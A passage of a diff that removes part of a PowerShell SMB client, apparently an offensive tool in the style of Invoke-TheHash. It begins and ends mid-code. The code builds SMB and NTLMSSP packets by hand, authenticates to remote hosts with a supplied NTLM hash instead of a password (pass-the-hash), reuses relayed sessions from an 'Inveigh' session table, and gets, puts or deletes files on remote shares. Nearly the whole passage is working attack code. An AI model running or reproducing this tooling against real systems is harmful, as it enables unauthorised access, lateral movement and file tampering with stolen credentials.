-                else
-                {
-                    $destination_path = Join-Path $PWD $destination
-                }
-               
-            }
-            else
-            {
-
-                if(Test-Path (Join-Path $PWD $source_file))
-                {
-                    $output_message = "[-] Destination file already exists"
-                    $startup_error = $true
-                }
-                else
-                {
-                    $destination_path = Join-Path $PWD $source_file
-                }
-
-            }
-
-        }
-        else
-        {
-            $file_memory = New-Object System.Collections.ArrayList
-        }
-
-    }
-
-    'Put'
-    {
-
-        if(!$Modify)
-        {
-
-            if($source -notlike '*\*')
-            {
-                $source = Join-Path $PWD $source
-            }
-
-            if(Test-Path $source)
-            {
-                [Int64]$source_file_size = (Get-Item $source).Length
-                $source_file = $source
-
-                if($source_file_size -gt 65536)
-                {
-                    $source_file_size_quotient = [Math]::Truncate($source_file_size / 65536)
-                    $source_file_size_remainder = $source_file_size % 65536
-                    $source_file_buffer_size = 65536
-                }
-                else
-                {
-                    $source_file_buffer_size = $source_file_size
-                }
-
-                $source_file_properties = Get-ItemProperty -path $source_file
-                $source_file_creation_time = $source_file_properties.CreationTime.ToFileTime()
-                $source_file_creation_time = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($source_file_creation_time))
-                $source_file_creation_time = $source_file_creation_time.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-                $source_file_last_access_time = $source_file_properties.LastAccessTime.ToFileTime()
-                $source_file_last_access_time = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($source_file_last_access_time))
-                $source_file_last_access_time = $source_file_last_access_time.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-                $source_file_last_write_time = $source_file_properties.LastWriteTime.ToFileTime()
-                $source_file_last_write_time = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($source_file_last_write_time))
-                $source_file_last_write_time = $source_file_last_write_time.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-                $source_file_last_change_time = $source_file_last_write_time
-                $source_file_buffer = new-object byte[] $source_file_buffer_size
-                $source_file_stream = new-object IO.FileStream($source_file,[System.IO.FileMode]::Open)
-                $source_file_binary_reader = new-object IO.BinaryReader($source_file_stream)
-            }
-            else
-            {
-                $output_message = "[-] File not found"
-                $startup_error = $true
-            }
-
-        }
-        else
-        {
-
-            [Int64]$source_file_size = $Source.Count
-
-            if($source_file_size -gt 65536)
-            {
-                $source_file_size_quotient = [Math]::Truncate($source_file_size / 65536)
-                $source_file_size_remainder = $source_file_size % 65536
-                $source_file_buffer_size = 65536
-            }
-            else
-            {
-                $source_file_buffer_size = $source_file_size
-            }
-      
-        }
-
-        $destination = $destination.Replace('\\','')
-        $destination_array = $destination.Split('\')
-        $target = $destination_array[0]
-        $share = $destination_array[1]
-        $destination_file_array = $destination.ToCharArray()
-        [Array]::Reverse($destination_file_array)
-        $destination_file = -join($destination_file_array)
-        $destination_file = $destination_file.SubString(0,$destination_file.IndexOf('\'))
-        $destination_file_array = $destination_file.ToCharArray()
-        [Array]::Reverse($destination_file_array)
-        $destination_file = -join($destination_file_array)
-    }
-
-}
-
-if($Action -ne 'Put')
-{
-
-    if($source_array.Count -gt 2)
-    {
-        $share_subdirectory = $source.Substring($target.Length + $share.Length + 2)
-    }
-
-}
-else
-{
-    
-    if($destination_array.Count -gt 2)
-    {
-        $share_subdirectory = $destination.Substring($target.Length + $share.Length + 2)
-    }
-
-}
-
-if($share_subdirectory -and $share_subdirectory.EndsWith('\'))
-{
-    $share_subdirectory = $share_subdirectory.Substring(0,$share_subdirectory.Length - 1)
-}
-
-if(!$startup_error -and !$inveigh_session)
-{
-
-    try
-    {
-        $client.Connect($target,"445")
-    }
-    catch
-    {
-        $output_message = "[-] $target did not respond"
-    }
-
-}
-
-if($client.Connected -or (!$startup_error -and $inveigh.session_socket_table[$session].Connected))
-{
-    
-    $client_receive = New-Object System.Byte[] 81920
-
-    if(!$inveigh_session)
-    {
-        $client_stream = $client.GetStream()
-        $stage = 'NegotiateSMB'
-
-        while($stage -ne 'exit')
-        {
-
-            try
-            {
-            
-                switch ($stage)
-                {
-
-                    'NegotiateSMB'
-                    {          
-                        $packet_SMB_header = New-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID 0x00,0x00       
-                        $packet_SMB_data = New-PacketSMBNegotiateProtocolRequest $SMB_version
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()    
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                        if([System.BitConverter]::ToString($client_receive[4..7]) -eq 'ff-53-4d-42')
-                        {
-                            $SMB_version = 'SMB1'
-                            $stage = 'NTLMSSPNegotiate'
-
-                            if([System.BitConverter]::ToString($client_receive[39]) -eq '0f')
-                            {
-
-                                if($SigningCheck)
-                                {
-                                    Write-Output "[+] SMB signing is required"
-                                    $stage = 'Exit'
-                                }
-                                else
-                                {    
-                                    Write-Verbose "[+] SMB signing is required"
-                                    $SMB_signing = $true
-                                    $session_key_length = 0x00,0x00
-                                    $negotiate_flags = 0x15,0x82,0x08,0xa0
-                                }
-
-                            }
-                            else
-                            {
-
-                                if($SigningCheck)
-                                {
-                                    Write-Output "[+] SMB signing is not required"
-                                    $stage = 'Exit'
-                                }
-                                else
-                                {    
-                                    $SMB_signing = $false
-                                    $session_key_length = 0x00,0x00
-                                    $negotiate_flags = 0x05,0x82,0x08,0xa0
-                                }
-
-                            }
-
-                        }
-                        else
-                        {
-                            $stage = 'NegotiateSMB2'
-
-                            if([System.BitConverter]::ToString($client_receive[70]) -eq '03')
-                            {
-
-                                if($SigningCheck)
-                                {
-                                    Write-Output "[+] SMB signing is required"
-                                    $stage = 'Exit'
-                                }
-                                else
-                                {    
-                                    Write-Verbose "[+] SMB signing is required"
-                                    $SMB_signing = $true
-                                    $session_key_length = 0x00,0x00
-                                    $negotiate_flags = 0x15,0x82,0x08,0xa0
-                                }
-
-                            }
-                            else
-                            {
-
-                                if($SigningCheck)
-                                {
-                                    Write-Output "[+] SMB signing is not required"
-                                    $stage = 'Exit'
-                                }
-                                else
-                                {    
-                                    $SMB_signing = $false
-                                    $session_key_length = 0x00,0x00
-                                    $negotiate_flags = 0x05,0x80,0x08,0xa0
-                                }
-
-                            }
-
-                        }
-
-                        Write-Verbose "[+] SMB version is $SMB_version"
-                    }
-
-                    'NegotiateSMB2'
-                    {
-                        $tree_ID = 0x00,0x00,0x00,0x00
-                        $session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
-                        $message_ID = 1
-                        $packet_SMB_header = New-PacketSMB2Header 0x00,0x00 0x00,0x00 $false $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SMB_data = New-PacketSMB2NegotiateProtocolRequest
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()    
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-                        $stage = 'NTLMSSPNegotiate'
-                    }
-                        
-                    'NTLMSSPNegotiate'
-                    { 
-                        
-                        if($SMB_version -eq 'SMB1')
-                        {
-                            $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID 0x00,0x00
-
-                            if($SMB_signing)
-                            {
-                                $packet_SMB_header["Flags2"] = 0x05,0x48
-                            }
-
-                            $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                            $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate       
-                            $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate
-                            $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                            $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                        }
-                        else
-                        {
-                            $message_ID++
-                            $packet_SMB_header = New-PacketSMB2Header 0x01,0x00 0x1f,0x00 $false $message_ID $process_ID $tree_ID $session_ID
-                            $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags 0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f
-                            $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                            $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate       
-                            $packet_SMB_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate
-                            $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                            $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                            $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                            $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                        }
-
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()    
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-                        $stage = 'Exit'
-                    }
-                    
-                }
-
-            }
-            catch
-            {
-                $error_message = $_.Exception.Message
-                $error_message = $error_message -replace "`n",""
-                Write-Output "[-] $error_message"
-            }
-
-        }
-
-        if(!$SigningCheck)
-        {
-            $NTLMSSP = [System.BitConverter]::ToString($client_receive)
-            $NTLMSSP = $NTLMSSP -replace "-",""
-            $NTLMSSP_index = $NTLMSSP.IndexOf("4E544C4D53535000")
-            $NTLMSSP_bytes_index = $NTLMSSP_index / 2
-            $domain_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 12) $client_receive
-            $target_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 40) $client_receive
-            $session_ID = $client_receive[44..51]
-            $NTLM_challenge = $client_receive[($NTLMSSP_bytes_index + 24)..($NTLMSSP_bytes_index + 31)]
-            $target_details = $client_receive[($NTLMSSP_bytes_index + 56 + $domain_length)..($NTLMSSP_bytes_index + 55 + $domain_length + $target_length)]
-            $target_time_bytes = $target_details[($target_details.Length - 12)..($target_details.Length - 5)]
-            $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-"
-            $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-            $auth_hostname = (Get-ChildItem -path env:computername).Value
-            $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname)
-            $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain)
-            $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username)
-            $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)
-            $auth_domain_length = $auth_domain_length[0,1]
-            $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)
-            $auth_domain_length = $auth_domain_length[0,1]
-            $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length)
-            $auth_username_length = $auth_username_length[0,1]
-            $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length)
-            $auth_hostname_length = $auth_hostname_length[0,1]
-            $auth_domain_offset = 0x40,0x00,0x00,0x00
-            $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64)
-            $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64)
-            $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64)
-            $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88)
-            $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5
-            $HMAC_MD5.key = $NTLM_hash_bytes
-            $username_and_target = $username.ToUpper()
-            $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target)
-            $username_and_target_bytes += $auth_domain_bytes
-            $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes)
-            $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
-            $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-
-            $security_blob_bytes = 0x01,0x01,0x00,0x00,
-                                    0x00,0x00,0x00,0x00 +
-                                    $target_time_bytes +
-                                    $client_challenge_bytes +
-                                    0x00,0x00,0x00,0x00 +
-                                    $target_details +
-                                    0x00,0x00,0x00,0x00,
-                                    0x00,0x00,0x00,0x00
-
-            $server_challenge_and_security_blob_bytes = $NTLM_challenge + $security_blob_bytes
-            $HMAC_MD5.key = $NTLMv2_hash
-            $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes)
-
-            if($SMB_signing)
-            {
-                $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response)
-                $session_key = $session_base_key
-                $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256
-                $HMAC_SHA256.key = $session_key
-            }
-
-            $NTLMv2_response = $NTLMv2_response + $security_blob_bytes
-            $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length)
-            $NTLMv2_response_length = $NTLMv2_response_length[0,1]
-            $SMB_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88)
-
-            $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,
-                                    0x03,0x00,0x00,0x00,
-                                    0x18,0x00,
-                                    0x18,0x00 +
-                                    $auth_LM_offset +
-                                    $NTLMv2_response_length +
-                                    $NTLMv2_response_length +
-                                    $auth_NTLM_offset +
-                                    $auth_domain_length +
-                                    $auth_domain_length +
-                                    $auth_domain_offset +
-                                    $auth_username_length +
-                                    $auth_username_length +
-                                    $auth_username_offset +
-                                    $auth_hostname_length +
-                                    $auth_hostname_length +
-                                    $auth_hostname_offset +
-                                    $session_key_length +
-                                    $session_key_length +
-                                    $SMB_session_key_offset +
-                                    $negotiate_flags +
-                                    $auth_domain_bytes +
-                                    $auth_username_bytes +
-                                    $auth_hostname_bytes +
-                                    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
-                                    0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +
-                                    $NTLMv2_response
-
-            if($SMB_version -eq 'SMB1')
-            {
-                $SMB_user_ID = $client_receive[32,33]
-                $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID $SMB_user_ID
-
-                if($SMB_signing)
-                {
-                    $packet_SMB_header["Flags2"] = 0x05,0x48
-                }
-
-                $packet_SMB_header["UserID"] = $SMB_user_ID
-                $packet_NTLMSSP_negotiate = New-PacketNTLMSSPAuth $NTLMSSP_response
-                $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate      
-                $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate
-                $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-            }
-            else
-            {
-                $message_ID++
-                $packet_SMB_header = New-PacketSMB2Header 0x01,0x00 0x00,0x00 $false $message_ID  $process_ID $tree_ID $session_ID
-                $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $NTLMSSP_response
-                $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth        
-                $packet_SMB_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_auth
-                $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-            }
-
-            try
-            {
-                $client_stream.Write($client_send,0,$client_send.Length) > $null
-                $client_stream.Flush()
-                $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-
-                if($SMB_version -eq 'SMB1')
-                {
-
-                    if([System.BitConverter]::ToString($client_receive[9..12]) -eq '00-00-00-00')
-                    {
-                        Write-Verbose "[+] $output_username successfully authenticated on $Target"
-                        Write-Output "[-] SMB1 is not supported"
-                        $login_successful = $false
-                    }
-                    else
-                    {
-                        Write-Output "[-] $output_username failed to authenticate on $Target"
-                        $login_successful = $false
-                    }
-
-                }
-                else
-                {
-                    if([System.BitConverter]::ToString($client_receive[12..15]) -eq '00-00-00-00')
-                    {
-                        Write-Verbose "[+] $output_username successfully authenticated on $Target"
-                        $login_successful = $true
-                    }
-                    else
-                    {
-                        Write-Output "[-] $output_username failed to authenticate on $Target"
-                        $login_successful = $false
-                    }
-
-                }
-
-            }
-            catch
-            {
-                $error_message = $_.Exception.Message
-                $error_message = $error_message -replace "`n",""
-                Write-Output "[-] $error_message"
-                $login_successful = $false
-            }
-
-        }
-
-    }
-
-    try
-    {
-
-        if($login_successful -or $inveigh_session)
-        {
-
-            if($inveigh_session)
-            {
-
-                if($inveigh_session -and $inveigh.session_lock_table[$session] -eq 'locked')
-                {
-                    Write-Output "[*] Pausing due to Inveigh Relay session lock"
-                    Start-Sleep -s 2
-                }
-
-                $inveigh.session_lock_table[$session] = 'locked'
-                $client = $inveigh.session_socket_table[$session]
-                $client_stream = $client.GetStream()
-                $session_ID = $inveigh.session_table[$session]
-                $message_ID =  $inveigh.session_message_ID_table[$session]
-                $tree_ID = 0x00,0x00,0x00,0x00
-                $SMB_signing = $false
-            }
-
-            $path = "\\" + $Target + "\IPC$"
-            $path_bytes = [System.Text.Encoding]::Unicode.GetBytes($path)
-            $directory_list = New-Object System.Collections.ArrayList
-            $stage = 'TreeConnect'
-
-            while ($stage -ne 'Exit')
-            {
-
-                switch($stage)
-                {
-            
-                    'CloseRequest'
-                    {
-
-                        if(!$SMB_file_ID)
-                        {
-                            $SMB_file_ID = $client_receive[132..147]
-                        }
-
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x06,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SMB2_data = New-PacketSMB2CloseRequest $SMB_file_ID
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-                        $SMB_file_ID = ''
-
-                        if($directory_list.Count -gt 0 -and $Action -eq 'Recurse')
-                        {
-                            $file = $directory_list[0]
-                            $root_directory = $file + 0x5c,0x00
-                            $create_request_extra_info = 1
-                            $stage = 'CreateRequest'
-
-                            if($root_directory.Count -gt 2)
-                            {
-                                $root_directory_extract = [System.BitConverter]::ToString($root_directory)
-                                $root_directory_extract = $root_directory_extract -replace "-00",""
-
-                                if($root_directory.Length -gt 2)
-                                {
-                                    $root_directory_extract = $root_directory_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-                                    $root_directory_string = New-Object System.String ($root_directory_extract,0,$root_directory_extract.Length)
-                                }
-                                else
-                                {
-                                    $root_directory_string = [Char][System.Convert]::ToInt16($file,16)
-                                }
-
-                            }
-
-                        }
-                        elseif($Action -eq 'Get' -and $action_step -eq 1)
-                        {
-
-                            if($share_subdirectory -eq $source_file)
-                            {
-                                $file = ""
-                            }
-                            else
-                            {
-                                $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory.Replace('\' + $source_file,''))
-                            }
-
-                            $create_request_extra_info = 1
-                            $stage = 'CreateRequest'
-                        }
-                        elseif($Action -eq 'Delete')
-                        {
-                            
-                            switch($action_step)
-                            {
-
-                                0
-                                {
-
-                                    if($share_subdirectory -eq $source_file)
-                                    {
-                                        $file = ""
-                                    }
-                                    else
-                                    {
-                                        $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory.Replace('\' + $source_file,''))
-                                    }
-
-                                    $create_request_extra_info = 1
-                                    $stage = 'CreateRequest'
-                                    $action_step++
-
-                                }
-
-                                1
-                                {
-                                    $stage = 'CreateRequestFindRequest'
-                                }
-
-                                3
-                                {
-                                    $stage = 'TreeDisconnect'
-                                }
-
-                            }
-
-                        }
-                        elseif($share_subdirectory_start)
-                        {
-                            $share_subdirectory_start = $false
-                            $stage = 'CreateRequestFindRequest'
-                        }
-                        else
-                        {
-                            $stage = 'TreeDisconnect'
-                        }
-
-                    }
-
-                    'CreateRequest'
-                    {
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                        $packet_SMB2_data = New-PacketSMB2CreateRequest $file $create_request_extra_info $source_file_size
-
-                        if($directory_list.Count -gt 0)
-                        {
-                            $packet_SMB2_data["DesiredAccess"] = 0x81,0x00,0x10,0x00
-                            $packet_SMB2_data["ShareAccess"] = 0x07,0x00,0x00,0x00
-                        }
-                        
-                        if($Action -eq 'Delete')
-                        {
-
-                            switch($action_step)
-                            {
-                                
-                                0
-                                {
-                                    $packet_SMB2_data["CreateOptions"] = 0x00,0x00,0x20,0x00
-                                    $packet_SMB2_data["DesiredAccess"] = 0x80,0x00,0x00,0x00
-                                    $packet_SMB2_data["ShareAccess"] = 0x07,0x00,0x00,0x00
-                                }
-
-                                2
-                                {
-                                    $packet_SMB2_data["CreateOptions"] = 0x40,0x00,0x20,0x00
-                                    $packet_SMB2_data["DesiredAccess"] = 0x80,0x00,0x01,0x00
-                                    $packet_SMB2_data["ShareAccess"] = 0x07,0x00,0x00,0x00
-                                }
-
-                            }
-
-                        }
-
-                        if($Action -eq 'Get')
-                        {
-                            $packet_SMB2_data["CreateOptions"] = 0x00,0x00,0x20,0x00
-                            $packet_SMB2_data["DesiredAccess"] = 0x89,0x00,0x12,0x00
-                            $packet_SMB2_data["ShareAccess"] = 0x05,0x00,0x00,0x00
-                        }
-
-                        if($Action -eq 'Put')
-                        {
-                        
-                            switch($action_step)
-                            {
-
-                                0
-                                {
-                                    $packet_SMB2_data["CreateOptions"] = 0x60,0x00,0x20,0x00
-                                    $packet_SMB2_data["DesiredAccess"] = 0x89,0x00,0x12,0x00
-                                    $packet_SMB2_data["ShareAccess"] = 0x01,0x00,0x00,0x00
-                                    $packet_SMB2_data["RequestedOplockLevel"] = 0xff
-                                }
-
-                                1
-                                {
-                                    $packet_SMB2_data["CreateOptions"] = 0x64,0x00,0x00,0x00
-                                    $packet_SMB2_data["DesiredAccess"] = 0x97,0x01,0x13,0x00
-                                    $packet_SMB2_data["ShareAccess"] = 0x00,0x00,0x00,0x00
-                                    $packet_SMB2_data["RequestedOplockLevel"] = 0xff
-                                    $packet_SMB2_data["FileAttributes"] = 0x20,0x00,0x00,0x00
-                                    $packet_SMB2_data["CreateDisposition"] = 0x05,0x00,0x00,0x00
-                                }
-
-                            }
-
-                        }
-
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data  
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data  
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-                        $client_stream.Write($client_send,0,$client_send.Length) > $null
-                        $client_stream.Flush()
-                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
-                        
-                        if([System.BitConverter]::ToString($client_receive[12..15]) -ne '00-00-00-00')
-                        {
-
-                            $error_code = [System.BitConverter]::ToString($client_receive[12..15])
-
-                            switch($error_code)
-                            {
-
-                                '03-01-00-c0'
-                                {
-                                    $stage = 'Exit'
-                                }
-
-                                '22-00-00-c0'
-                                {
-
-                                    if($directory_list.Count -gt 0)
-                                    {
-                                        $directory_list.RemoveAt(0) > $null
-                                    }
-                                    else
-                                    {
-                                        $output_message = "[-] Access denied"
-                                        $share_subdirectory_start = $false
-                                    }
-
-                                    $stage = 'CloseRequest'
-
-                                }
-
-                                '34-00-00-c0'
-                                {
-
-                                    if($Action -eq 'Put')
-                                    {
-                                        $create_request_extra_info = 3
-                                        $action_step++
-                                        $stage = 'CreateRequest'
-                                    }
-                                    else
-                                    {
-                                        $output_message = "[-] File not found"
-                                        $stage = 'Exit'
-                                    }
-
-                                }
-
-                                'ba-00-00-c0'
-                                {
-                                    
-                                    if($Action -eq 'Put')
-                                    {
-                                        $output_message = "[-] Destination filname must be specified"
-                                        $stage = 'CloseRequest'
-                                    }
-
-                                }
-
-                                default
-                                {
-                                    $error_code = $error_code -replace "-",""
-                                    $output_message = "[-] Create request error code 0x$error_code"
-                                    $stage = 'Exit'
-                                }
-
-                            }
-
-                        }
-                        elseif($Action -eq 'Delete' -and $action_step -eq 2)
-                        {
-                            $set_info_request_file_info_class = 0x01
-                            $set_info_request_info_level = 0x0d
-                            $set_info_request_buffer = 0x01,0x00,0x00,0x00
-                            $SMB_file_ID = $client_receive[132..147]
-                            $stage = 'SetInfoRequest'
-                        }
-                        elseif($Action -eq 'Get' -and $action_step -ne 1)
-                        {
-
-                            switch($action_step)
-                            {
-
-                                0
-                                {
-                                    $SMB_file_ID = $client_receive[132..147]
-                                    $action_step++
-                                    $stage = 'CloseRequest'
-                                }
-
-                                2
-                                {
-
-                                    if($file_size -lt 4096)
-                                    {
-                                        $read_request_length = $file_size
-                                    }
-                                    else
-                                    {
-                                        $read_request_length = 4096
-                                    }
-
-                                    $read_request_offset = 0
-                                    $SMB_file_ID = $client_receive[132..147]
-                                    $action_step++
-                                    $stage = 'ReadRequest'
-                                }
-
-                                4
-                                {
-                                    $header_next_command = 0x68,0x00,0x00,0x00
-                                    $query_info_request_info_type_1 = 0x01
-                                    $query_info_request_file_info_class_1 = 0x07
-                                    $query_info_request_output_buffer_length_1 = 0x00,0x10,0x00,0x00
-                                    $query_info_request_input_buffer_offset_1 = 0x68,0x00
-                                    $query_info_request_buffer_1 = 0
-                                    $query_info_request_info_type_2 = 0x01
-                                    $query_info_request_file_info_class_2 = 0x16
-                                    $query_info_request_output_buffer_length_2 = 0x00,0x10,0x00,0x00
-                                    $query_info_request_input_buffer_offset_2 = 0x68,0x00
-                                    $query_info_request_buffer_2 = 0
-                                    $SMB_file_ID = $client_receive[132..147]
-                                    $action_step++
-                                    $stage = 'QueryInfoRequest'
-                                }
-
-                            }
-
-                        }
-                        elseif($Action -eq 'Put')
-                        {
-
-                            switch($action_step)
-                            {
-
-                                0
-                                {
-
-                                    if($Action -eq 'Put')
-                                    {
-                                        $output_message = "Destination file exists"
-                                        $stage = 'CloseRequest'
-                                    }
-
-                                }
-
-                                1
-                                {
-                                    $SMB_file_ID = $client_receive[132..147]
-                                    $action_step++
-                                    $header_next_command = 0x70,0x00,0x00,0x00
-                                    $query_info_request_info_type_1 = 0x02
-                                    $query_info_request_file_info_class_1 = 0x01
-                                    $query_info_request_output_buffer_length_1 = 0x58,0x00,0x00,0x00
-                                    $query_info_request_input_buffer_offset_1 = 0x00,0x00
